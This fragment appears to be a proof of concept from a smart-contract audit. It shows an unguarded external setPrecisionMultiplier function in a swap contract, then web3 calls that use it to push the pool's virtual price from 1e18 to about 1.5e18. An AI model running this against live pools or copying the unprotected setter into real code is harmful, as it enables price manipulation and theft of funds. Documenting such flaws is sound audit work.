function setPrecisionMultiplier(uint256 multipliers) external {
    swapStorage.tokenPrecisionMultipliers[0] = multipliers; 
}
print(swap.functions.getVirtualPrice().call())
swap.functions.setPrecisionMultiplier(2).transact()
print(swap.functions.getVirtualPrice().call())

# output log:
#     1000000000000000000
#     1499889859738721606
